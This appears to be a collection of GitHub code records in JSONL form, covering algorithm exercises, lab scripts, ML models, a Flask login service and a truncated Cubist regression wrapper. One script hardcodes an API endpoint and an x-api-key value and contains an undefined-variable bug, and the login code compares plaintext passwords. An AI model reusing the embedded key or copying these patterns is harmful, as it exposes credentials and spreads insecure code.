= self.n2, self.aux\n self.counter += 1\n return self.aux\n\nif __name__ == '__main__':\n maxIter = int(input('¿Hasta que numero deseas iterar?\\n'))\n fibonacci = FiboIter(maxIter)\n for element in fibonacci:\n print(element)\n time.sleep(0.05)","repo_name":"25roob/notesProPython","sub_path":"iterators.py","file_name":"iterators.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"13312166216","text":"import sys; sys.stdin = open('15650_input.txt', 'r')\n\nN, M = map(int, input().split())\narr = []\nmeet = [0] * N\n\n\ndef solve(k, s):\n if k == M:\n print(*sorted(arr))\n return\n for i in range(s, N):\n if not meet[i]:\n meet[i] = 1\n arr.append(i+1)\n solve(k+1, i)\n arr.pop()\n meet[i] = 0\n\n\nsolve(0, 0)\n","repo_name":"sht3898/Algorithm","sub_path":"SSAFY/algorithm_lecture/190919_보충/BOJ/15650_N과M2.py","file_name":"15650_N과M2.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20811436988","text":"import injecti_2400\nimport applyv_2400\nimport nanovoltmeter\n\ndef start_voltage_measurements():\n print(\"Enter the value of voltage that you want to apply : \\n\")\n voltage = input()\n print(\"Enter compliance current : \\n\")\n compliance_current = input()\n print(\"Enter the value of current you want to inject : \\n\")\n current = input()\n print(\"Enter compliance voltage : \\n\")\n compliance_voltage = input()\n print(\"Enter span for SRS760: \\n\")\n f = open(\"span.txt\",\"r\")\n print(f)\n f.close()\n span = input()\n print(\"Enter start frequency of span: \\n\")\n start_frequency_of_span = input()\n\n voltage = float(voltage)\n compliance_current = float(compliance_current)\n current = float(current)\n compliance_voltage = float(compliance_voltage)\n start_frequency_of_span = float(start_frequency_of_span)\n\n applyv_2400.applyv(voltage,compliance_current)\n injecti_2400.inject_i(current,compliance_voltage)\n injecti_2400.shutdown_i()\n applyv_2400.shutdown_v()\n nanovoltmeter.m_voltage()\n","repo_name":"asquare14/low-freq-noise-measurement-graphene","sub_path":"measure_voltage.py","file_name":"measure_voltage.py","file_ext":"py","file_size_in_byte":1039,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"43084018380","text":"import argparse\nimport json\nimport os\nimport numpy as np\nfrom keras.layers import LSTM, Dropout, Dense, Activation, Embedding\nfrom keras.models import Sequential\nfrom .model import load_weights\nfrom . import model\n\nDATA_DIR = './kdata'\nMODEL_DIR = 'model'\nBASE_DIR = ''\n\n\ndef build_sample_model(vocab_size):\n model = Sequential()\n model.add(Embedding(vocab_size, 512, batch_input_shape=(1, 1)))\n\n for i in range(3):\n model.add(LSTM(256, return_sequences=(i != 2), stateful=True))\n model.add(Dropout(0.2))\n\n model.add(Dense(vocab_size))\n model.add(Activation('softmax'))\n\n return model\n\n\ndef sample(epoch, header, num_chars):\n epoch = 100\n with open(os.path.join(BASE_DIR, MODEL_DIR, 'char_to_idx.json'), 'r') as f:\n char_to_idx = json.load(f)\n\n idx_to_char = {i: ch for (ch, i) in list(char_to_idx.items())}\n vocab_size = len(char_to_idx)\n\n model = build_sample_model(vocab_size)\n load_weights(BASE_DIR, epoch, model)\n model.save(os.path.join(BASE_DIR, MODEL_DIR, 'model.{}.h5'.format(epoch)))\n\n sampled = [char_to_idx[c] for c in header]\n\n for c in header[:-1]:\n batch = np.zeros((1, 1))\n batch[0, 0] = char_to_idx[c]\n model.predict_on_batch(batch)\n\n for i in range(num_chars):\n batch = np.zeros((1, 1))\n if sampled:\n batch[0, 0] = sampled[-1]\n else:\n batch[0, 0] = np.random.randint(vocab_size)\n result = model.predict_on_batch(batch).ravel()\n sampleWord = np.random.choice(list(range(vocab_size)), p=result)\n sampled.append(sampleWord)\n\n return ''.join(idx_to_char[c] for c in sampled)\n\n\nif __name__ == '__main__':\n msg = \"테스트\"\n parser = argparse.ArgumentParser(description='모델에서 샘플을 뽑아냄')\n # parser.add_argument('epoch', type=int, help='샘플을 뽑을 epoch')\n parser.add_argument('--epoch', type=int, help='샘플을 뽑을 epoch')\n parser.add_argument('--input', default='sample.txt', help='샘플링시킬 파일 이름')\n parser.add_argument('--seed', default=msg, help='시작 단어 지정')\n parser.add_argument('--len', type=int, default=512, help='글자수 지정 (기본값 512)')\n args = parser.parse_args()\n\n BASE_DIR = args.input\n\n print(sample(args.epoch, args.seed, args.len))\n","repo_name":"Wuwon/RNN_LSTM_Novel_Create","sub_path":"testproject/testapp/sample.py","file_name":"sample.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16894780845","text":"import numpy as np\nimport pytest\n\n# import micropolarray as ml\nfrom micropolarray.processing.demodulation import Malus\nfrom micropolarray.processing.demosaic import merge_polarizations\n\n\n@pytest.fixture(autouse=True)\ndef dummy_data():\n \"\"\"Dummy data factory\"\"\"\n\n def _make_dummy_data(dimension):\n dummydata = np.zeros(shape=(dimension, dimension))\n dummydata[0::2, 0::2] = 1\n dummydata[0::2, 1::2] = 2\n dummydata[1::2, 0::2] = 3\n dummydata[1::2, 1::2] = 4\n return dummydata\n\n return _make_dummy_data\n\n\ndef generate_polarized_data(\n shape, S, angle_rad=0, t=1, eff=1, angles_list=[0, 45, -45, 90]\n):\n single_pol_shape = (int(shape[0] / 2), int(shape[0] / 2))\n ones = np.ones(shape=single_pol_shape)\n angles = np.array([np.deg2rad(angle) for angle in angles_list])\n subimages = np.array(\n [ones * S * Malus(angle_rad, t, eff, angle) for angle in angles]\n )\n return merge_polarizations(subimages)\n","repo_name":"Hevil33/micropolarray_master","sub_path":"tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11555165995","text":"# make code as python 3 compatible as possible\nfrom __future__ import (absolute_import, division, print_function,\n unicode_literals)\n\nimport argparse\nimport functools\nimport subprocess\nimport sys\n\nimport hunter\nfrom hunter import Q\n\nPARSER = argparse.ArgumentParser(description='')\nPARSER.add_argument('--depth', '-d', default=1, type=int, help='Print up to this depth of code')\nPARSER.add_argument('--function', '-f', type=str, help='Trace this function', action='append')\nPARSER.add_argument('--module', '-m', type=str, help='Trace this module', action='append')\nPARSER.add_argument('command', nargs='+')\n\n\ndef main():\n args = PARSER.parse_args()\n path = subprocess.check_output(['which', args.command[0]]).strip('\\n')\n sys.argv = args.command\n\n filters = []\n if args.function:\n for function in args.function:\n filters.append(Q(function=function))\n\n if args.module:\n for module in args.module:\n filters.append(Q(module=module, depth_lt=1000))\n\n if not filters:\n filters.append(Q(depth_lt=2 + args.depth, depth_gt=1, kind='line'))\n\n filter_q = functools.reduce(lambda a, b: a | b, filters)\n print(filter_q)\n with hunter.trace(filter_q):\n execfile(path)\n","repo_name":"talwrii/huntrace","sub_path":"huntrace/huntrace.py","file_name":"huntrace.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"72"} +{"seq_id":"22653807230","text":"import json\nimport requests\n\nHEADERS = {\n 'authority': 'xmyygv64cjantodrggj3uu5xrq.appsync-api.us-west-2.amazonaws.com',\n 'accept': 'application/json, text/plain, */*',\n 'x-amz-user-agent': 'aws-amplify/3.4.2 js',\n 'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36',\n 'x-api-key': 'da2-wsknunntiffb3hyxefmrxez4ma',\n 'content-type': 'application/json; charset=UTF-8',\n 'sec-fetch-site': 'cross-site',\n 'sec-fetch-mode': 'cors',\n 'sec-fetch-dest': 'empty',\n 'accept-language': 'en-US,en;q=0.9',\n}\nURL = 'https://xmyygv64cjantodrggj3uu5xrq.appsync-api.us-west-2.amazonaws.com/graphql'\n\n\ndef api(query, variables=None):\n def get_operation(query):\n return query.strip().split('{')[0].split()[1]\n payload = {\n 'operationName': get_operation(query),\n 'query': query,\n 'variables': variables\n }\n req = requests.post(URL, headers=HEADERS, data=json.dumps(payload))\n return json.loads(req.text)\n\n\ndef get_rank_entities(rank_id):\n QUERY = '''\n query GetRankWithEntities {\n getRank(id: \"%s\") {\n id\n name\n entities(nextToken: %s, limit: 4450) {\n items {\n id\n name\n sourceId\n }\n nextToken\n }\n }\n }\n '''\n response = api(QUERY % (rank_id, 'null'))\n items = []\n while True:\n items += response['data']['getRank']['entities']['items']\n next_token = response['data']['getRank']['entities']['nextToken']\n if not next_token: break\n response = api(QUERY % (rank_id, '\"{}\"'.format(next_token)))\n return items\n # return response['data']['getRank']['entities']['items']\n\n\ndef create_rank_entity(rank_id, entity):\n QUERY = '''\n mutation CreateEntityWithRank {\n createEntity(input: {\n sourceId: \"%s\", name: \"%s\", rankId: \"%s\"}) {\n id\n name\n }\n }\n '''\n\n response = api(QUERY % (entity.get('source_id'), entity.get('name'), entity_id))\n\n","repo_name":"maxschorer/alpha-dwh","sub_path":"backend.py","file_name":"backend.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74157037032","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nif __name__ == '__main__':\n\n # a = np.loadtxt( \"plot_data.txt\" )\n\n a = [0,1,1,0,1,0,1]\n x = list(range(len(a)))\n plt.plot( x, a )\n plt.show()","repo_name":"Hubert51/Randomness_Test","sub_path":"python_code/plot_test.py","file_name":"plot_test.py","file_ext":"py","file_size_in_byte":208,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"32788522104","text":"import torch\nfrom torch.nn import functional as F\nimport os\nimport sys\nimport random\nimport json\nimport numpy as np\nfrom torch.utils.data import Dataset\n\nfrom util import load_tokenizer\n\ndef read_kg(input_file):\n\n records = []\n with open(input_file, 'r') as f:\n for line in f:\n info = line.strip().split('\\t')\n if len(info) != 5:\n continue\n\n anchor, tail, label, ind, _ = info\n records.append([anchor, tail, label, ind])\n return records \n\n\ndef read_jsonl(input_file):\n\n records = []\n with open(input_file, \"r\", encoding=\"utf-8-sig\") as f:\n for line in f:\n temp_record = json.loads(line)\n guid = temp_record['qID']\n sentence = temp_record['sentence']\n opt1 = temp_record['option1']\n opt2 = temp_record['option2']\n label = temp_record['answer']\n\n conj = '_'\n idx = sentence.index(conj)\n context = sentence[:idx]\n option_str = '_' + sentence[idx + len(conj):].strip()\n option1 = option_str.replace('_', opt1)\n option2 = option_str.replace('_', opt2)\n\n if label == '1':\n records.append([sentence[:idx+len(conj)], option1, option2])\n elif label == '2':\n records.append([sentence[:idx+len(conj)], option2, option1])\n else:\n records.append([sentence[:idx+len(conj)], option1, option2])\n\n return records\n\n\n\nclass ConDataset(Dataset):\n\n def __init__(self, features):\n\n self.data = []\n\n for feature in features:\n self.data.append([feature[0], feature[1], feature[2]])\n \n self.length = len(self.data)\n\n\n def __len__(self):\n return self.length\n\n\n def __getitem__(self, idx):\n return self.data[idx][0], self.data[idx][1], self.data[idx][2]\n \n\n","repo_name":"HKUST-KnowComp/MICO","sub_path":"CSQA_eval/dataset_eval_copa.py","file_name":"dataset_eval_copa.py","file_ext":"py","file_size_in_byte":1897,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"26262474510","text":"from services import app\nfrom flask import request, session, render_template, redirect\nfrom services.member import service as member_service\n\n\n@app.route('/test/member')\ndef test_member():\n\tmember_service.test_member_service()\n\treturn \"test_member...\"\n\n@app.route('/test/session')\ndef test_session():\n\tprint('test_session : ', session.get('userData'))\n\treturn '11'\n\n@app.route('/test/getList')\ndef test_getList():\n\tresultData = member_service.test_getList()\n\tprint(resultData)\n\treturn '11'\n\n@app.route('/member/signup', methods=['POST'])\ndef member_signup():\n\tdata = request.get_json()\n\treturn member_service.member_signup(data)\n\n@app.route('/member/login', methods=['POST'])\ndef member_login():\n\tresult = {}\n\tresult['code'] = '-1'\n\tdata = request.get_json()\n\tserviceResult = member_service.member_login(data)\n\n\tif(len(serviceResult)==0):\n\t\tresult['code'] = '-1' # 해당 아이디가 존재하지 않음\n\telif(serviceResult[0]['member_pw'] == data['member_pw']):\n\t\tresult['code'] = '1' # 로그인 성공\n\t\tdel serviceResult[0]['member_pw']\n\t\tsession['userData'] = serviceResult[0]\n\telse:\n\t\tresult['code'] = '0' # 패스워드가 일치하지 않음\n\n\treturn result\n\n@app.route('/member/logout')\ndef member_logout():\n\tsession.clear()\n\treturn redirect('/render/index')\n\n@app.route('/member/getCurrentMemberData')\ndef member_getCurrentMemberData():\n\tresult = {}\n\tdata = {}\n\t\n\tdata['member_id'] = session['userData']['member_id']\n\tserviceResult = member_service.member_login(data)\n\tresult['data'] = serviceResult\n\t\n\treturn result\n\n# @app.route('/member/logincheck')\n# def member_loginchk():\n# \tresultData = {}\n# \tuserData = session.get('userData')\n# \tif userData is None:\n# \t\tprint('userData is None ...')\n# \t\tresultData['code'] = '0'\n# \telse:\n# \t\tprint(\"session's userData : \", userData)\n# \t\tresultData['code'] = '1'\n# \tresultData['userData'] = userData\n\t\n# \treturn render_template('login.html')\n","repo_name":"201411096/study_flask","sub_path":"flask/ex_03_flask_board/ver_01/services/member/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73285290153","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom PySide6.QtWidgets import QVBoxLayout, QMessageBox\nfrom PySide6.QtCore import Signal\n\nfrom baramFlow.coredb import coredb\nfrom baramFlow.coredb.material_db import MaterialDB\nfrom baramFlow.coredb.project import Project\nfrom baramFlow.coredb.coredb import Error\nfrom baramFlow.view.widgets.selector_dialog import SelectorDialog\nfrom baramFlow.view.widgets.multi_selector_dialog import SelectorItem\nfrom baramFlow.view.widgets.content_page import ContentPage\nfrom .material_page_ui import Ui_MaterialPage\nfrom .material_card import MaterialCard\n\n\nclass MaterialPage(ContentPage):\n pageReload = Signal()\n\n def __init__(self):\n super().__init__()\n self._ui = Ui_MaterialPage()\n self._ui.setupUi(self)\n\n self._cardListLayout = QVBoxLayout(self._ui.cardList)\n self._cardListLayout.setSpacing(0)\n self._cardListLayout.addStretch()\n self._cardListLayout.setContentsMargins(0, 0, 0, 0)\n\n self._addDialog = None\n\n self._materialChanged = Project.instance().materialChanged\n\n self._connectSignalsSlots()\n self._load()\n\n def showEvent(self, ev):\n if not ev.spontaneous():\n self.pageReload.emit()\n\n return super().showEvent(ev)\n\n def _remove(self, card):\n # The count of the layout returns one more than the number of cards, because of the stretch.\n if self._cardListLayout.count() < 3:\n QMessageBox.information(self, self.tr(\"Remove material\"),\n self.tr(\"At least one material is required and cannot be removed.\"))\n return\n\n confirm = QMessageBox.question(\n self, self.tr(\"Remove material\"), self.tr(f'Remove material \"{card.name}\"'))\n if confirm == QMessageBox.Yes:\n error = coredb.CoreDB().removeMaterial(card.name)\n if not error:\n self._cardListLayout.removeWidget(card)\n card.deleteLater()\n elif error == Error.REFERENCED:\n QMessageBox.critical(\n self, self.tr('Remove Meterial Failed'),\n self.tr(f'\"{card.name}\" is referenced by other configurations. It cannot be removed.'))\n\n self._materialChanged.emit()\n\n def _connectSignalsSlots(self):\n self._ui.add.clicked.connect(self._add)\n\n def _load(self):\n materials = coredb.CoreDB().getMaterials()\n\n for mid, name, formula, phase in materials:\n self._addCard(mid)\n\n def _add(self):\n if self._addDialog is None:\n materials = [\n SelectorItem(f'{name} ({MaterialDB.getPhaseText(MaterialDB.dbTextToPhase(phase))})', name, name)\n for name, formula, phase in coredb.CoreDB().getMaterialsFromDB()]\n self._addDialog = SelectorDialog(self, self.tr(\"Material\"), self.tr(\"Select material to add\"), materials)\n self._addDialog.accepted.connect(self._addDialogAccepted)\n\n self._addDialog.open()\n\n def _addCard(self, mid):\n card = MaterialCard(mid)\n self._cardListLayout.insertWidget(0, card)\n card.removeClicked.connect(self._remove)\n self.pageReload.connect(card.load)\n\n def _addDialogAccepted(self):\n self._addCard(coredb.CoreDB().addMaterial(self._addDialog.selectedItem()))\n self._materialChanged.emit()\n\n","repo_name":"nextfoam/baram","sub_path":"baramFlow/view/setup/materials/material_page.py","file_name":"material_page.py","file_ext":"py","file_size_in_byte":3386,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"72"} +{"seq_id":"26624715289","text":"import torch\n\nfrom layers import *\nimport torch.nn.functional as F\nimport torch.nn.init as torch_init\n\n\ndef weight_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1 or classname.find('Linear') != -1:\n torch_init.xavier_uniform_(m.weight)\n\n\nclass CMA_VA(nn.Module):\n def __init__(self, l_v, l_a, l_t, hid_dim=32, d_ff=32, dropout_rate=0.1):\n super(CMA_VA, self).__init__()\n\n self.joint_cross_attention = JointCrossAttention(hid_dim)\n self.ffn = nn.Sequential(\n nn.Linear(l_t,32),\n nn.GELU(),\n )\n self.norm = nn.LayerNorm(l_t)\n\n def forward(self, f_v, f_a):\n f = torch.cat((f_v,f_a), dim=2)\n #print(f.shape)\n new_f = self.joint_cross_attention(f, f_v, f_a)\n new_f = self.norm(new_f)\n new_f = self.ffn(new_f)\n\n return new_f\n\n\nclass Model(nn.Module):\n def __init__(self, args):\n super(Model, self).__init__()\n\n n_features = args.feature_size\n n_class = args.num_classes\n\n self.joint_cross_attention = CMA_VA(l_v= 1024, l_a =128, l_t = 1152, hid_dim=32, d_ff=32)\n self.classifier = nn.Linear(32,1)\n self.apply(weight_init)\n\n def forward(self, x):\n f_r = x[:, :, :1024]\n f_f = x[:, :, 1024:2048]\n f_a = x[:, :, 2048: ]\n f_v = (f_r + f_f)/2\n new_v = self.joint_cross_attention(f_v, f_a)\n logits = self.classifier(new_v)\n logits = logits.squeeze(dim=1)\n logits = torch.sigmoid(logits)\n\n return logits\n","repo_name":"shashwat286/JointCrossAttentionFusion","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"26216876501","text":"# https://leetcode.com/problems/remove-stones-to-minimize-the-total/\nfrom heapq import heappush, heappop\n\nclass Solution:\n def minStoneSum(self, piles: List[int], k: int) -> int:\n pq = []\n for x in piles:\n heappush(pq, -x)\n\n for i in range(k):\n x = -heappop(pq)\n if x == 0:\n break\n x = (x + 1) // 2\n heappush(pq, -x)\n\n res = 0\n while len(pq) > 0:\n res -= heappop(pq)\n\n return res\n","repo_name":"zhuli19901106/leetcode-zhuli","sub_path":"algorithms/1501-2000/1962_remove-stones-to-minimize-the-total_1_AC.py","file_name":"1962_remove-stones-to-minimize-the-total_1_AC.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":557,"dataset":"github-code","pt":"72"} +{"seq_id":"18966067489","text":"import zlib\nfrom warnings import warn\n\nimport numpy as np\nimport pandas as pd\nfrom sklearn.utils.validation import check_is_fitted, check_random_state, \\\n _check_sample_weight\nfrom sklearn.base import RegressorMixin, BaseEstimator\n\nfrom _cubist import _cubist, _predictions\n\nfrom ._make_names_string import _make_names_string\nfrom ._make_data_string import _make_data_string\nfrom ._parse_model import _parse_model\nfrom ._variable_usage import _get_variable_usage\nfrom .exceptions import CubistError\n\n\nclass Cubist(BaseEstimator, RegressorMixin):\n \"\"\"\n Cubist Regression Model (Public v2.07) developed by Quinlan.\n\n References:\n - https://www.rdocumentation.org/packages/Cubist/versions/0.3.0\n - https://www.rulequest.com/cubist-unix.html\n\n Parameters\n ----------\n n_rules : int, default=500\n Limit of the number of rules Cubist will build. Recommended and default\n value is 500.\n\n n_committees : int, default=1\n Number of committees to construct. Each committee is a rule based model \n and beyond the first tries to correct the prediction errors of the prior \n constructed model. Recommended value is 5.\n \n neighbors : int, default=None\n Number between 1 and 9 for how many instances should be used to correct \n the rule-based prediction. If no value is given, Cubist will build a\n rule-based model only. If this value is set, Cubist will create a \n composite model with the given number of neighbors. Regardless of the \n value set, if auto=True, Cubist may override this input and choose a \n different number of neighbors. Please assess the model for the selected \n value for the number of neighbors used.\n\n unbiased : bool, default=False\n Should unbiased rules be used? Since Cubist minimizes the MAE of the \n predicted values, the rules may be biased and the mean predicted value \n may differ from the actual mean. This is recommended when there are \n frequent occurrences of the same value in a training dataset. Note that \n MAE may be slightly higher.\n \n auto : bool, default=False\n A value of True allows the algorithm to choose whether to use \n nearest-neighbor corrections and how many neighbors to use. False will\n leave the choice of whether to use a composite model to value passed to\n the `neighbors` parameter.\n\n extrapolation : float, default=0.05\n Adjusts how much rule predictions are adjusted to be consistent with \n the training dataset. Recommended value is 5% as a decimal (0.05)\n\n sample : float, default=None\n Percentage of the data set to be randomly selected for model building.\n \n cv : int, default=None\n Whether to carry out cross-validation and how many folds to use\n (recommended value is 10 per Quinlan)\n\n random_state : int, default=None\n An integer to set the random seed for the C Cubist code.\n\n target_label : str, default=\"outcome\"\n A label for the outcome variable. This is only used for printing rules.\n\n verbose : int, default=0\n Should the Cubist output be printed?\n\n Attributes\n ----------\n names_string_ : str\n String for the Cubist model that describes the training dataset column \n names and their data types. This also provides some Python environment \n information.\n \n data_string_ : str\n String containing the training data. Required for using instance-based\n corrections and compressed after model training.\n\n model_ : str\n The Cubist model string generated by the C code.\n\n feature_importances_ : pd.DataFrame\n Table of how training data variables are used in the Cubist model. The \n first column for \"Conditions\" shows the approximate percentage of cases \n for which the named attribute appears in a condition of an applicable \n rule, while the second column \"Attributes\" gives the percentage of cases \n for which the attribute appears in the linear formula of an applicable \n rule.\n\n rules_ : pd.DataFrame\n Table of the rules built by the Cubist model.\n\n coeff_ : pd.DataFrame\n Table of the regression coefficients found by the Cubist model.\n\n variables_ : dict\n Information about all the variables passed to the model and those that \n were actually used.\n\n Examples\n --------\n >>> from cubist import Cubist\n >>> from sklearn.datasets import fetch_california_housing\n >>> from sklearn.model_selection import train_test_split\n >>> X, y = fetch_california_housing(return_X_y=True, as_frame=True)\n >>> X_train, X_test, y_train, y_test = train_test_split(X, y, \n test_size=0.2, \n random_state=42)\n >>> model = Cubist()\n >>> model.fit(X_train, y_train)\n >>> model.predict(X_test)\n >>> model.score(X_test, y_test)\n \"\"\"\n\n def __init__(self,\n n_rules: int = 500, *,\n n_committees: int = 1,\n neighbors: int = None,\n unbiased: bool = False,\n auto: bool = False,\n extrapolation: float = 0.05,\n sample: float = None,\n cv: int = None,\n random_state: int = None,\n target_label: str = \"outcome\",\n verbose: int = 0):\n super().__init__()\n\n self.n_rules = n_rules\n self.n_committees = n_committees\n self.neighbors = neighbors\n self.unbiased = unbiased\n self.auto = auto\n self.extrapolation = extrapolation\n self.sample = sample\n self.cv = cv\n self.random_state = random_state\n self.target_label = target_label\n self.verbose = verbose\n\n def _more_tags(self):\n \"\"\"scikit-learn estimator configuration method\n \"\"\"\n return {\"allow_nan\": True,\n \"X_types\": [\"2darray\", \"string\"]}\n\n def _check_n_rules(self):\n # validate number of rules\n if not isinstance(self.n_rules, int):\n raise TypeError(\"`n_rules` must be an integer\")\n if self.n_rules < 1 or self.n_rules > 1000000:\n raise ValueError(\"`n_rules` must be between 1 and 1000000\")\n return self.n_rules\n\n def _check_n_committees(self):\n # validate number of committees\n if not isinstance(self.n_committees, int):\n raise TypeError(\"`n_committees` must be an integer\")\n if self.n_committees < 1 or self.n_committees > 100:\n raise ValueError(\"`n_committees` must be between 1 and 100\")\n return self.n_committees\n\n def _check_neighbors(self):\n # validate number of neighbors\n if self.neighbors is not None:\n if not isinstance(self.neighbors, int):\n raise TypeError(\"`neighbors` must be an integer\")\n elif self.neighbors < 1 or self.neighbors > 9:\n raise ValueError(\"`neighbors` must be between 1 and 9\")\n elif self.auto:\n warn(\"Cubist will choose an appropriate value for `neighbor`.\"\n \"Cubist will receive neighbors = 0 regardless of the set\"\n \"value for `neighbors`.\", stacklevel=3)\n return 0\n else:\n return self.neighbors\n # default value must be zero even when not used\n return 0\n\n def _check_unbiased(self):\n # validate unbiased option\n if not isinstance(self.unbiased, bool):\n raise ValueError(\"Wrong input for parameter `unbiased`. Expected \"\n f\"True or False, got {self.unbiased}\")\n return self.unbiased\n\n def _check_composite(self, neighbors):\n # validate the auto parameter\n if not isinstance(self.auto, bool):\n raise ValueError(\"Wrong input for parameter `auto`. Expected \"\n f\"True or False, got {self.auto}\")\n # if auto=True, let cubist decide whether to use a composite model and\n # how many neighbors to use\n elif self.auto:\n return 'auto'\n # if a number of neighbors is given, make a composite model\n elif neighbors > 0:\n return 'yes'\n else:\n return 'no'\n\n def _check_extrapolation(self):\n # validate the range of extrapolation\n if not isinstance(self.extrapolation, float):\n raise TypeError(\"Extrapolation percentage must be a float\")\n if self.extrapolation < 0.0 or self.extrapolation > 1.0:\n raise ValueError(\"Extrapolation percentage must be between \"\n \"0.0 and 1.0\")\n return self.extrapolation\n\n def _check_sample(self, num_samples):\n # validate the sample percentage\n if self.sample is not None:\n if not isinstance(self.sample, float):\n raise TypeError(\"Sampling percentage must be a float\")\n if not (0.0 < self.sample < 1.0):\n raise ValueError(\"Sampling percentage must be between \"\n \"0.0 and 1.0\")\n # check to see if the sample will create a very small dataset\n trained_num_samples = int(round(self.sample * num_samples, 0))\n if trained_num_samples < 10:\n warn(f\"Sampling a dataset with {num_samples} rows and a \"\n f\"sampling percent of {self.sample} means Cubist will \"\n f\"train with {trained_num_samples} rows. This may lead \"\n f\"to incorrect or failing predictions. Please increase \"\n f\"or remove the `sample` parameter.\\n\", stacklevel=3)\n return self.sample\n else:\n return 0\n\n def _check_cv(self):\n # validate number of cv folds\n if self.cv is not None:\n if not isinstance(self.cv, int):\n raise TypeError(\"Number of cross-validation folds must be an \\\n integer or None\")\n if self.cv <= 1:\n raise ValueError(\"Number of cross-validation folds must be \\\n greater than 1\")\n return self.cv\n else:\n return 0\n\n def fit(self, X, y, sample_weight=None):\n \"\"\"Build a Cubist regression model from training set (X, y).\n\n Parameters\n ----------\n X : {array-like} of shape (n_samples, n_features)\n The training input samples.\n\n y : array-like of shape (n_samples,)\n The target values (Real numbers in regression).\n\n sample_weight : array-like of shape (n_samples,)\n Optional vector of sample weights that is the same length as y for \n how much each instance should contribute to the model fit.\n\n Returns\n -------\n self : object\n \"\"\"\n # scikit-learn data validation\n X, y = self._validate_data(X, y,\n dtype=None,\n force_all_finite='allow-nan',\n y_numeric=True,\n ensure_min_samples=2)\n\n # set the feature names if it hasn't already been done\n if not hasattr(self, \"feature_names_in_\"):\n self.feature_names_in_ = [f'var{i}' for i in range(X.shape[1])]\n\n # check sample weighting\n if sample_weight is not None:\n sample_weight = _check_sample_weight(sample_weight, X)\n self.is_sample_weighted_ = True\n else:\n self.is_sample_weighted_ = False\n\n n_rules = self._check_n_rules()\n n_committees = self._check_n_committees()\n neighbors = self._check_neighbors()\n unbiased = self._check_unbiased()\n composite = self._check_composite(neighbors)\n extrapolation = self._check_extrapolation()\n sample = self._check_sample(X.shape[0])\n cv = self._check_cv()\n random_state = check_random_state(self.random_state)\n\n # number of input features\n self.n_features_in_ = X.shape[1]\n # number of outputs is 1 (single output regression)\n self.n_outputs_ = 1\n\n # (re)construct a dataframe from X\n X = pd.DataFrame(X, columns=self.feature_names_in_)\n y = pd.Series(y)\n\n # create the names and data strings required for cubist\n names_string = _make_names_string(X, w=sample_weight,\n label=self.target_label)\n data_string = _make_data_string(X, y, w=sample_weight)\n\n # call the C implementation of cubist\n model, output = _cubist(namesv_=names_string.encode(),\n datav_=data_string.encode(),\n unbiased_=unbiased,\n compositev_=composite.encode(),\n neighbors_=neighbors,\n committees_=n_committees,\n sample_=sample,\n seed_=random_state.randint(0, 4095) % 4096,\n rules_=n_rules,\n extrapolation_=extrapolation,\n cv_=cv,\n modelv_=b\"1\",\n outputv_=b\"1\")\n\n # convert output from raw to strings\n self.model_ = model.decode()\n output = output.decode()\n\n # raise Cubist training errors\n if (\"***\" in output) or (\"Error\" in output):\n raise CubistError(output)\n\n # inform user that they may want to use rules only\n if \"Recommend using rules only\" in output:\n warn(\"Cubist recommends using rules only \"\n \"(i.e. set auto=False)\", stacklevel=3)\n\n # print model output if using verbose output\n if self.verbose:\n print(output)\n\n # if the model returned nothing, we're doing cross-validation so stop\n if self.model_ == \"1\":\n return self\n\n # replace \"__Sample\" with \"sample\" if this is used in the model\n if \"\\n__Sample\" in names_string:\n output = output.replace(\"__Sample\", \"sample\")\n self.model_ = self.model_.replace(\"__Sample\", \"sample\")\n # clean model string when using reserved sample name\n self.model_ = self.model_[:self.model_.index(\"sample\")] + \\\n self.model_[self.model_.index(\"entries\"):]\n\n # when a composite model has not been used, drop the data_string\n if not (\n (composite == \"yes\") or\n (\"nearest neighbors\" in output) or\n (neighbors > 0)\n ):\n data_string = \"1\"\n\n # compress and save descriptors/data\n self.names_string_ = zlib.compress(names_string.encode())\n self.data_string_ = zlib.compress(data_string.encode())\n\n # parse model contents and store useful information\n self.rules_, self.coeff_ = _parse_model(self.model_, X)\n\n # get the input data variable usage\n self.feature_importances_ = _get_variable_usage(output, X)\n\n # get the names of columns that have no nan values\n is_na_col = ~self.coeff_.isna().any()\n not_na_cols = self.coeff_.columns[is_na_col].tolist()\n\n # skip the first three since these are always filled\n not_na_cols = not_na_cols[3:]\n\n # store a dictionary containing all the training dataset columns and \n # those that were used by the model\n if self.rules_ is not None:\n used_variables = set(self.rules_[\"variable\"]).union(\n set(not_na_cols)\n )\n self.variables_ = 